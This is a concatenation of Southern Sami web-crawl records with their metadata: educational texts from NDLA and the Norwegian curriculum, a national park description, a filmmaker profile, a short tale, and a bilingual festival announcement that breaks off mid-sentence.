– Daate sæjhta nuepiem vedtedh lohkehtæjjah gemtebelaakan dåårrehtidh goh aarebi, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/samimag.no\/sma\/author\/nilsegil\/","date":"2022-07-01T05:45:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103920118.49\/warc\/CC-MAIN-20220701034437-20220701064437-00485.warc.gz","language":"sma","language_score":0.9990957975,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9990957975387573}","num_words":74,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjasse\nVueptesth aelhkies jallh muevies argumentasjovnem.\nLohkh raajesidie vuelielisnie. Gaavnh vuesiehtimmieh daejtie.\n- jienebelåhkoe-raerie (maam jienebe-låhkoe dorje lea reaktoe)\n- åtnoe autoriteetijste jallh maehtehtjijstie\n- tsælloehtimmie\n- vaane-sovmh\n- sovmehtimmie\n- soptsestimmie mearhkan sisnie\n- ov-daerpies gïerve gïele\n- sïejhme dïejvesh mej åvteste ij dïedtem vaeltieh\nVuesiehtimmieh\n- Gaajhkh vætnarassjh leah gaajh sluekies. Dah båetieh gosse jïjtjemse sjeahta, jïh ååpsen jïjnjh beetnegh barkoen åvteste vaeltieh.\n- Manne bööremes lyjhkem Johkemaehkesne feestesne årrodh, dan åvteste desnie ajve saemieh jïh dah leah sagke murriedåbpoe jïh slaajperdihks goh almetjh daestie.\n- Vielie goh 80% mijjen åestiejijstie leah madtjeles.\n- Manne dïhte aajnehke dåehkesne mij ij åadtjoeh voelegem meatan utnedh feestese!\n- Daan beajjetje noerh leah akte tjomhpe almetjijstie mah eah sïjhth barkedh jïh mubpine jielieh. Dah sijhtieh bööremes sijjen eejhteginie jieledh goske 30 jaepien båeries jïh veanhtadieh tjidtjebe gon aehtjebh dejtie gaajhkem vedtieh jïh dejtie gåetesne hoksehtieh.\n- Sïelte sæjhta daerpies råajvarimmiejgujmie nierhkedh juktie barkoe-dåehkien barkoe-faamoem lissiehtidh.\n- Gaajhkh jïermijes almetjh daennie laantesne leah joe guhkede gietjeste guarkeme bïjle-aajhterh ajve leah buhtjeme-govsh staatese!\n- Skuvle ulmine åtna aktem hijven lïerehtimmie-byjresem sjugniedidh gusnie gaajhkh learohkh maehtieh sijjen tjiehpiesvoeth evtiedidh.\n- Manne bööremes lyjhkem Sveerjesne eejehtalledh, dan åvteste almetjh Sveerjeste lea sagke murriedåbpoe jïh slaajperdihks goh almetjh Danmarkeste.\n- Gaajhkesh gujht daejrieh Maarja lea lïhtseginie Noereh, dan åvteste åadtjobe dam lahtestimmiem saelhtie-tjueptjine vaeltedh….\n- Råajvarimmie tjuara dan stoerre årrodh guktie lea seamma stoerre goh dïhte buajhkoes synergi-effekte.\nBaakoeh\nSaemien\nDaaroen\ntsælloehtimmie\nutskjelling\nvaane-sovmh\nfordommer\nsoptsestimmie mearhkan sisnie\ntåkeprat\nov-daerpies gïerve gïele\nunødvendig vanskelig språk","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/subject:1:b8a448f0-e251-41ea-af1c-b2fd62a89828\/topic:6:172880\/topic:6:182050\/resource:1:173054","date":"2022-07-01T02:05:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103917192.48\/warc\/CC-MAIN-20220701004112-20220701034112-00332.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":228,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohki lïereme jïh evtiedimmie edtjieh jarngesne årrodh skuvlen dorjesisnie. Learohkh skuvlese båetieh ovmessie dååjrehtimmine, åvtemaahtojne, vuajnojne jïh daerpiesvoetine. Skuvle tjuara gaajhkh learoehkidie seammavyörtegs nuepieh vedtedh lïeremasse jïh evtiedæmman, seamma dej tsiehkiej mietie. Hijven klaassestuvreme tseegkie daajroen nïlle learohki daerpiesvoetese, baahke relasjovnine jïh profesjonelle dööpmemefaamojne. Guktie skreejremem jïh learoeaavoem skaepede lïerehtimmesne gamte repertoaarem learoedarjoemistie- jïh vierhtijste daarpesje åvtelhmïeredamme mierine.\nSkuvlen vuartoeh fïere guhte learoehkasse barkoen jïh haalvemen bïjre lïeremem tsevtsieh jïh sov jaahkoem jïjtse maehtelesvoete jïh nuepieh. Dïhte dan gaavhtan vihkeles skuvle gaajhkh learohkh dåastohte dåajvoe, mohte realistihke vuartoejgujmie, jïh lohkehtæjjah vuesiehtieh profesjonelle goerkesinie gosse dah learohki lïeremem vuarjasjieh.\nLearohkh edtjieh tïjjem åadtjodh gïengelem goerehtidh ovmessie faagesuerkine. Sijjiem vedtedh gïengelelïeremasse krïevedidh skuvle krööhkeste learohkh leah jeerehte jïh ovmessie tempoem lierieh jïh ovmessie progresjovnine. Kreava maahtoem guktie learohkh lierieh, mah dah daajrah jïh krïeveme lïhke fïere guhtem vaaksjoestieh. Learohkh gïeh haalvemem dååjroeh, dejtie skreejrehte jienebh gaarsjehke jïh jïjtjeraarehkem sjidtieh. Voejhkelimmieh jïh miedtemh maehtieh gaaltijem årrodh lïeremasse jïh jååhkesjæmman, jïh learohkh skreejrie voejhkelidh aaj gåessie vienhtieh eah daejrieh jis daam maehtedh. Dïhte lea skuvlen laavenjasse learoehkidie jearsoesvoetem vedtedh raasth restiedidh jïh voejhkelidh maam akt darjodh mij gïerve.\nVuarjasjimmie learohki faageles maahtojste edtja guvviem vedtedh maam learohkh maehtieh, men vihkeles ulmie vuarjasjimmine lea aaj lïeremem jïh evtiedimmiem skreejredh. Goerehtalleme jïh vuartasjimmie learoehkijstie lea viehkiedïrregh guktie fïere guhtem dåeriedidh jïh skuvlen praksisem evtiedidh. Dan onne vierhtie jis ij daam dåeriedidh kontruktijveles råajvarimmiejgujmie. Skuvle jïh lohkehtæjjah tjuerieh daerpiesvoetem buerie bïevnesh learohken lïeremen bïjre jïh ovvaajteles konsekvenside ovmessie vuarjasjimmietsiehkijste. Ovvaajteles åtnoe vuarjasjimmeste maahta learohken jïjtjevuajnoem måakoedidh jïh hijven learoebyjresen evtiedimmiem heerredidh.\nSjïehtedamme lïereme lea sjïehtedimmie maam skuvle dorje dan gaavhtan edtja vihtiestidh gaajhkh learohkh åadtjoeh bööremes nåhtoem lïerehtimmeste. Skuvle maahta gaskem jeatjebh lïerehtimmiem sjïehtedidh barkoevuekiejgujmie jïh pedagogeles vuekiejgujmie, learoevierhtiej nåhtoej tjïrrh, öörnemen mietie, jïh barkosne learoebyjresinie, learoesoejkesjinie jïh vuarjasjimmine. Lohkehtæjjah tjuerieh hijven faageles aarvoej mietie barkedh lïerehtimmiem sjïehtedidh.\nHijven vuarjasjimmie, gusnie vuartoeh leah tjïelkes jïh learohke lea meatan jïh govlelge learoebarkoen mietie, dïhte lea vihkeles lïerehtimmiem sjïehtedidh. Lohkehtæjjah edtjieh dej lïerehtimmine learoehkidie dåarjoehtidh jïh bïhkedidh guktie learohkh maehtieh ulmieh tseegkedh, sjïehteles haalvemevuekieh veeljedh jïh dej jïjtse evtiedimmiem vuarjasjidh. Skuvle tjuara soejkesjidh hijven ektievoetem learohken lïereminie dejnie ovmessie faagine jïh guktie lïerehtimmiem dååjroe goh sjïehteles jïh nuekies haestemh sjædta.\nSjïehtedamme lïerehtimmie gaajhkh learohkh dæjpa, jïh edtja jeenjemes jeerehtsinie jïh sjïehtedimmine sjïdtedh gellievoetese learohkedåehkesne ektievoeten sisnie. Learohkh gïeh daarpesjieh sjïehtedimmiem jïjnjebe sïejhme faalenasse, maahta sjïere ööhpehtimmiem krïevedh. Learohkh maehtieh tjabredidh, jïh maahta ovmessie dåeriesmoerh sjïdtedh ellies lïerehtimmesne. Lohkehtæjjah maehtieh hijven dåarjoem åadtjodh mubpie barkoedåehkijste gosse ovmessie haestemh vuejnedh jïh learoehkidie viehkiem vedtedh maam daarpesjieh.\nDïhte maahta vihkeles learohken evtiedimmesne råajvarimmieh buakta dan varki goh gåarede gosse haestemem aajhtsedh.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/3.-prinsipper-for-skolens-praksis\/3.2-undervisning-og-tilpasset-opplaring\/?kode=mat06-04&lang=sma","date":"2022-07-04T03:37:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104293758.72\/warc\/CC-MAIN-20220704015700-20220704045700-00182.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":259,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":429,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Björnlanden nasjonaaleparhken bïjre\nSjeltien saemieeatnamisnie lea Björnlandet – hijven miehtjie jïh akte dejstie laanten vihkielommes dovletji moeresermie.\nDah tjaebpies båeries bietsieh, dah goesh joevjeminie jïh dan tjïelkes prïennedahke vååjnoe. Björnlande sjædta dovne jielije, dynamihken ekosysteeme jïh biologijen våarhkoe mij vuesehte mij deahpadamme dovletji.\nBjörnlanden nasjonaaleparhke jaepien 1991 tseegkesovvi jïh dïhte lea 2300 hektaarh skåajjeste mah vaarjelamme aerpine mijjen båetije boelvide. Beetsetjh leah mahte goh gosse Linné vöölki Lapplaantesne jïh buerkiesti guktie lij medtie 280 jaepiej juassah jïh desnie beetsetje. Dah bietsieh sïejhme medtie 180 jaepien båeries mohte gååvnesieh gujht bietsieh mah båarasåbpoe.\nPrïennedahke\nDaesnie aaj gaavnh prïennedahkh. Tjeehpes tjïrre ståamhph jïh skaarah bietsieslïedtje vååjnoe abpe dajvesne. Minngemes stoerre praedtie lij jaepien 1831, akte dejstie jaepijste gosse lin gellie stoerre praedtieh Norrlaantesne. Idtji leah gaavneme naan gïejh dajvesne almetji årroemijstie, mohte gujht vuejnieji dah leah moerh tjoehpeme jïh tïmperh jeanoen mietie gabpeldin. Parhkesne aaj båatsoe.\nIj leah dan soe jïjnjh ovmessie sjædtoeh parhkesne men maahtah gujht ohtje viskessjædtoem vuejnedh mij miehtjies goesepluevesne parhkesne sjïdtedieh.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.nationalparksofsweden.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/suoddjimparkkadiedo\/","date":"2022-07-05T03:57:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104512702.80\/warc\/CC-MAIN-20220705022909-20220705052909-00438.warc.gz","language":"sma","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999958276748657}","num_words":157,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie tjaalegh maehtebe aelhkieslaakan jiehtedh mennie sjangerisnie, men tjaelijh eah iktegisth daarpesjh sjangeri njoelkedassi mietie tjaeledh. Dan åvteste maahta gïerve årrodh naan aejkien daejredh mennie sjangerisnie tjaalege.\nTjiehpieslidteræære-tjaalege jallh aamhtese-tjaalege?\nJeenemes tjaalegijstie maehtebe gåhtjodh tjiehpieslidteræære-tjaalegine jallh aamhtese-tjaaleginie. Naemhtie maehtebe tjaalegidie juekedh:\nTjiehpieslidteræære-tjaalegh\n- Tjaelije sisvegem hæhtadamme\n- Synonyjmh\/plïere-baakoeh: dikteme, tjiehpies-lidteratuvre\nAamhtese-tjaalegh\n- Tjaelije tjaaleme man akt bïjre mij heannadamme\n- Synonyjmh\/plïere-baakoeh: aamhtese-prosa, aamhteseprosa-tjaalegh\nSjangere-væhtah\nIbie iktegisth maehtieh dallah guarkedh mennie sjangerisnie tjaalege. Men mijjieh maehtebe maam akt tjaalegen bïjre jiehtedh gosse mijjieh daejtie 4 væhtide nuhtjebe.\n- Tjaalege heannadamme jallh hæhtadamme\n- Sjangere-nomme mij tjaelije tjaaleme\n- Tjaalegen aajkoe\n- Guktie tjaelije tjaalegem hammoedamme\nHæhtadamme jallh rïektesisnie\nSaatnan mah plaerine tjaaleme?\nGosse aamhtese-tjaalegh jïh tjiehpieslidteratuvre-tjaalegh lohkebe dle tjoerebe ussjedidh mennie sjangerisnie tjaalege. Akte tjiehpieslidteratuvre-tjaalege lea tjaalege gusnie tjaelije sisvegem hæhtadamme. Dïhte fantasijem nuhtjeme gosse tjaaleme. Mearan aamhtese-tjaalegh eah leah hæhtadamme, dah buerkiestieh, bievnieh, tjïelkestieh jïh bïhkedieh.\nDan åvteste vihkeles guktie mijjieh tjaalegh lohkebe. Gosse mijjieh ov-rïektesvoeten jallh laake-meadtoej bïjre lohkebe plaeresne, dellie mijjieh veanhtadibie politije jallh politihkerh edtjieh maam akt darjodh. Mijjieh aaj veanhtadibie dah mah meadtaladteme edtjieh strååffesovvedh.\nGosse mijjieh seammalaakan heannadimmiej bïjre lohkebe aktene romaanesne, dellie maehtebe soptsesen mietie jieledh jïh dan bïjre ussjedidh. Men ibie gåessie gænnah ussjedamme edtjebe åejvie-almetjen luvnie guessine mïnnedh jallh rïektesvoetem krïevedh.\nSjangere-nomme\nTjaelije guhte sæjhta sjïere aamhtesen bïjre tjaeledh jïh sæjhta setnies aamhtesh åehpiedehtedh, tjuara faaktaj bïjre tjaeledh. Dellie ij maehtieh hæhtadidh jallh diktedh, juktie dellie gieleste. Lohkijh eah dåhkesjh jis tjaelije pryövoe lohkijidie nollelidh.\nSjangere-nomme frijjevoetem vadta\nDïhte guhte hæhtedeminie gosse tjaelieminie, maahta eensilaakan almetji bïjre tjaeledh, men aaj maahta heannadimmiej bïjre tjaeledh jïjtse jieliemistie, historihke heannadimmiej jïh sijjiej bïjre. Læjhkan tjaelije jïh lohkijh leah sïemes, tjaalege lea hæhtadamme. Sïejhmemes tjaelije maam akt rïektesistie nuhtjie, jïh dellie mænngan dam jeatjahtahta jïh dam sisveginie pleentie maam hæhtadamme.\nMij aajkoe tjaaleginie?\nAajkoe tjaaleginie dellie mijjieh ussjedibie maam tjaalege edtja darjodh. Gærja-ållermaehteme edtja gærjan sisvegen bïjre soptsestidh, men edtja aaj soptsestidh gïese gærja sjeahta.\nLearoe-gærja edtja mijjem maam akth leerehtidh, jïh akte murriedehteme-programme edtja mijjem murriedehtedh. Aamhtese-tjaalegh tjïelke jïh praktihkeles aajkoeh utnieh, mearan tjiehpieslidteræære-tjaalegh mijjem sïejhmemes vielie ov-ryöktesth tsevtsieh. Dah mijjem viehkiehtieh guerkiehtidh, mijjem tsevtsieh, jïh maehtieh aaj mijjem viehkiehtidh mijjen vuajnoem jeatjahtehtedh. Eah dah krïevh lohkije dallah tjuara maam akt darjodh.\nTjaelije hammoem veeljie\nFïerhte sjangere sjïere hammoem åtna. Jarpoeh edtjieh åenehke jïh luste årrodh, mearan barkoe-ohtsemem tjoerebe maallen mietie tjaeledh. Artihkelem mijjieh tjoerebe boelhkine juekedh jïh lissine tjoerebe aamhtese-gïelem nuhtjedh. Filme-ållermaehteme ij leah tjiehpies-lidteratuvre læjhkan mijjieh dam vïersine tjaelebe. Dan åvteste ij hammoe vihkielommes gosse edtjebe jiehtedh mennie sjangerisnie akte tjaalege.\nBaakoeh\nSaemien\nDaaroen\nlaake-meadtoe\nlovbrudd\nfrijjevoete\nfrihet\ntsevtsedh\npåvirke\nållermaehteme\nomtale\njarpoeh\nvitser","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/subject:1:20e0fdca-5237-4095-a9e5-cea7d63866c0\/topic:3:159493\/resource:1:160155","date":"2022-07-07T16:31:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104495692.77\/warc\/CC-MAIN-20220707154329-20220707184329-00196.warc.gz","language":"sma","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999921321868896}","num_words":423,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learoesoejkesjevierhke vïjhte vihkeles tjiehpiesvoeth tjïelkeste: lohkeme, tjaeleme, ryökneme, njaalmeldh tjiehpiesvoeth jïh digitaale tjiehpiesvoeth. Dah tjiehpiesvoeth lea bielie faageles maahtojste jïh daerpies dïrregh lïeremasse jïh faageles goerkesasse. Dah aaj vihkeles learohken identiteete evtiedimmie jïh sosijaale relasjovnide, jïh guktie maahta meatan årrodh ööhpehtimmesne, barkosne jïh siebriedahkejielemisnie.\nDej vihkeles tjiehpiesvoeti evtiedimmie vihkeles abpe ööhpehtimmien mietie. Sïeve lea vuesiehtimmien gaavhtan voestes lohkeme- jïh tjaelemelïerehtimmeste lïerehtæmman maehtieh gïerve faageles teekstide lohkedh.\nLïerehtimmesne tjuerieh dah vihkeles tjiehpiesvoeth dovne sinsitnien ektesne vuejnedh jïh faagi dåaresth. Dah vihkeles tjiehpiesvoeth gaajhkine faagine, men dah faagh ovmessie råållah utnieh evtiedimmesne dejstie ovmessie tjiehpiesvoetijste. Naaken faage sæjhta stuerebe dïedtem utnedh enn dah jeatjah. Faageles maahtoen evtiedimmie edtja dan gaavhtan evtiedimmien ektesne vihkeles tjiehpiesvoetide faagesne guktie faagi learoesoejkesjisnie buerkiestamme. Lohkehtæjjah gaajhkine faagine edtjieh learoehkidie dåarjodh barkosne dej vihkeles tjiehpiesvoetigujmie.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/grunnleggende-ferdigheter\/?kode=tip01-03&lang=sma","date":"2022-06-29T06:52:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00613.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":268,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":127,"character_repetition_ratio":0.137,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsese jïjsen-ledtie lea Inuitten soptsese. Soptsese lea gærjeste «Lohkede saemien», maam Knut Bergsland jïh Ella Holm Bull tjaaleme.\nJïjsen-ledtie\nJïjse göökte njåemelh bïksi jïh voelkehti.\nGåmmobe jeehti: «Vaeltieh barre aktem!»\n«Boelhke lea askeste måbpan!» jïjse svååri.\nDah njåemele-guaktah hajkegöötigan fïere guhte bieliem stoerre gierkiem. Akte struvkesti jïjsen aktem juelkiem, mubpie dam mubpiem. Jïh jïjse gajhkani jïh jeemi dle dïsse.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:b23303f9-8560-47fc-bbfb-de3564308246\/topic:2:3b76b3b7-10e3-47de-8b45-41d46544e8db\/resource:1:129014","date":"2022-06-26T14:52:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103269583.13\/warc\/CC-MAIN-20220626131545-20220626161545-00175.warc.gz","language":"sma","language_score":0.9995595813,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9995595812797546}","num_words":59,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Personifikasjovne sïejhme gïeleldh vierhkie-vierhtie. Maehtebe personifikasjovnem nuhtjedh gosse soptsestibie jïh tjaelebe.\nSïejhme viehkie-dïrrege\nPersonifikasjovne joekoen sïejhme gïeleldh vierhkie-vierhtie. Gosse mij akt abstrakte almetjen jïjtsevoeth åådtje, dellie daate personifikasjovne. Maehtebe personifikasjovnem nuhtjedh gosse soptsestibie jïh tjaelebe, men maehtebe aaj kåanstesne nuhtjedh.\nDaesnie naan vuesiehtimmieh:\n- Tïjje haelehte\n- Frijjevoete akte voelpe\n- Jemhkelde guavla [1]\nVuesiehtimmie kåansteste\nGosse mijjieh mïsse akt abstrakte almetji jïjtsevoeth vedtebe, dellie mijjese aelhkebe dam guarkedh. Tjiehpiedæjja Theodor Kittelsen guvvieh dorjeme gærjesne Svartedauden. Kittelsen lea sohtem guvviedamme goh almetje. Naemhtie sohte lea mij akt mij maahta gaajhkesidie båetedh. Aaj guarkebe guktie almetjh bïllijin jïh asvedin, sohte edtji jïjtse gåatan guessine båetedh.\nVuesiehtimmie litteratuvreste\nGærjesne Aarporten jïh åarjelsaemien smaaregh maehtebe soptsesem Klies Kliemman bïjre lohkedh. Soptsesisnie jaememe lea almetji hammoem åådtjeme. Jaememe lea jaemie-aajmoen voejkenh mah båetieh Klies Kliemman åemie gåmmebem veedtjedh.\n- 1«Lyrihke jïh draama. Sjangerheefte 3». Palto, Kirsi. ABC-Company E-skuvla AS. 2014.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/nb\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:182229\/resource:1:158055","date":"2022-07-06T19:10:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104676086.90\/warc\/CC-MAIN-20220706182237-20220706212237-00086.warc.gz","language":"sma","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999921321868896}","num_words":139,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Filme-darjoje Elle-Máijá Tailfeather lea dovne filme-darjoje jïh dorjehtæjja. Dïhte dovne blackfoot-almetje jïh saemie, guktie maehtebe daennie filmesne vuejnedh.\nElle-Máijá Tailfeathers\nEelki filmine barkedh jaepien 2011 gosse åenehks-filmem Bloodland darjoeji. Filmem darjoeji juktie sïjhti åålja-sïelti vööste gïrredh mah edtjin aelkedh ååljan mietie naepierdidh blackfoot-almetji dajvesne. Daan filmen mænngan Elle-Máijá gellie jeatjah filmh dorjeme ovmessie sjangerinie goh fiksjovne, dokumentaare, mokumentaare jïh musihke-videjo.\nSaemie jïh blackfoot\nElle-Máiján aehtjebe lea saemie Nöörjeste, mearan tjidtjebe blackfoot-almetje tjierteste Kainai First Nation. Kanai-tjïerte aaj åehpies goh «the Blood Tribe» jallh «Kainaiwa». Daate tjïerte aktede dehtie stuerebe Blackfoot-dåehkeste gusnie golme tjïerth: siksikáwa, kainai og pieganere. Blackfoot-almetjh Albertesne, Canadesne, årroeminie, gusnie dejpeli bööffelh vijrin. Aaj åehpies dej aejlies aerpievuekien biejjie-daanhtsomen gaavhtan.\nAalkoealmetje-teema\nElle-Máiján filmh leah daamhtaj aalkoe-almetji dåeriesmoeri jïh ovreaktaj bïjre siebriedahkesne. Filmh leah festivaaline vuesiehtamme gelline sijjine veartenisnie, guktie filme-festivaalesne Berlinesne, festivaalesne Vancouver International Film Festival, festivaalesne imagineNATIVE Film and Media Arts Festival, festivaalesne Seattle International Film Festival, jïh festivaalesne Tromsø internasjonale filmfestival (TIFF).","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/nb\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178512","date":"2022-06-27T04:51:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103328647.18\/warc\/CC-MAIN-20220627043200-20220627073200-00285.warc.gz","language":"sma","language_score":0.9976624846,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9976624846458435}","num_words":155,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse learohkh dej jïjtje lïeremeprosesside jïh dej faageles evtiedimmiem guarkoeh, destie jïjtjeraarehkem jïh haalvemedomtesem sjidtieh. Lïerehtimmie edtja learohki motivasjovnem, vuajnoeh jïh lïeremestrategijh skreejredh, jïh våaromem bïejedh lïereme jieleden mietie. Daate kreava lohkehtæjjah learohki evtiedimmiem lïhke gïehtjedieh jïh dejtie dåarjoeh sjïehteledtieh aalteren, njoetseme- jïh funksjovnedaltesen mietie.\nGosse jïjtse jïh mubpiej lïeremem ussjedieh learohkh maehtieh ånnetji ånnetji voerkesvoetem evtiedidh jïjtse lïeremeprosessigujmie. Learohkh gïeh lierieh gihtjedh, vaestiedassem ohtsedidh jïh dej goerkesem buektedh ovmessie vuekine, sijhtieh dan mietie maehtedh eadtjohke råållam vaeltedh dej jïjtje lïeremisnie jïh evtiedimmesne. Barkoen tjïrrh faageles haestiemidie learohkh sijhtieh maahtoem åadtjodh guktie dah lierieh jïh faagesne evtiedieh. Gïengele maahtoem evtiedieh gosse learohkh åadtjoeh ektievoetide vuejnedh ovmessie maahtoesuerkiej gaskem, jïh gosse maehtieh gellie strategijh guktie maahtoem åadtjodh, juekedh jïh laejhtehks årrodh.\nLæjhkan learohki jïjtjebarkoen åvteste jïh lïeremestrategijide utnieh sæjhta naaken haestemh åadtjodh lïeredh. Sjiekh daamhtaj gellie jïh ektiebeajeme. Ambisjovne maehtelesvoetem evtiedidh jieledeguhkiem lïeremasse gaajhkene learoehkinie kreava gamte geatskanimmiem skuvleste.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/2.4-a-lare-a-lare\/?kode=slg03-02&lang=sma","date":"2022-08-10T05:17:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571147.84\/warc\/CC-MAIN-20220810040253-20220810070253-00702.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":262,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":148,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaktjen Tjåanghkoe – åarjelsaemien tjaktjefestivaale öörnesåvva fïerhten mubpien jaepien jïh åarjelsaemien gïelem jïh kultuvrem jarngese beaja.\nTjaktjen Tjåanghkoe – åarjelsaemien tjaktjefestivaale lea laavenjostoeprosjekte gaskem Saemien Sijte jïh gïelejarnge Gïelem nastedh\/Saemien gïelen ektievoete Snåasen tjïeltesne. Åarjel-saemiej skuvle jïh internaate aaj vihkeles meatanöörnedæjja.\nTjaktjen Tjåanghkoe lea vihkeles saemien gaavnedimmiesijjine sjïdteme gusnie åarjelsaemien gïele jïh kultuvre lea jarngesne Festivaalen lea hijven pleentege kulturelle sisvegistie jïh faagesisvegistie.\nFestivaalehïeljen jïjtse seminaare öörnesåvva joekehts teemajgujmie fïerhten jaepien. Lissine sosijaale sijjie vuesiehtimmiejgujmie, duedtiemaarhnine, gaahtjeminie, konsertigujmie jïh vielie. Faageseminaaren baalte aaj jïjtse noerekonferanse. Konferanse noerh abpe åarjelsaemien dajveste tjöönghkie.\nÅarjelsaemien gïele edtja govledh jïh vååjnedh abpe festivaalesne, jïh desnie jïjtsh darjomh gïelen jïh lidteratuvren bïjre tjïrrehte. Seminaarine festivaale edtja lissie faagedaajroem vedtedh dovne saemide jïh jeatjah årroejidie, seamma tïjjen goh darjoemidie sjïehteladta mah abpe fualhkan sjiehtieh.\nDåeredh Tjaktjen Tjåanghkoe Facebookesne.\nTjaktjen Tjåanghkoe - sørsamisk høstfestival arrangeres annet hvert år og setter fokus på sørsamisk språk og kultur.\nTjaktjen Tjåanghkoe - sørsamisk høstfestival er et samarbeidsprosjekt mellom Saemien Sijte, språksenteret Gïelem nastedh\/Enhet for samisk språk v. Snåsa kommune. Åarjel-saemiej skuvle jih internaate er også en viktig medarrangør.\nTjaktjen Tjåanghkoe har blitt en viktig samisk møteplass med fokus på sørsamisk språk og kultur. Festivalen har en god sammensetting av kulturelt og faglig innhold.\nUnder festivalhelgen blir det arrangert et eget fagseminar med ulike tema for hvert år. Det er i tillegg en sosial arena med utstillinger, duedtiemarked, konkurranser, konserter med mer. Parallelt med fagseminaret har det blitt arrangert en egen konferanse for ungdommer. Konferansen samler ungdom fra hele det sørsamiske området.\nDet sørsamiske språket skal kunne høres og synes gjennom hele arrangementet, og det blir holdt egne aktiviteter knyttet til språk og litteratur. Med seminaret skal 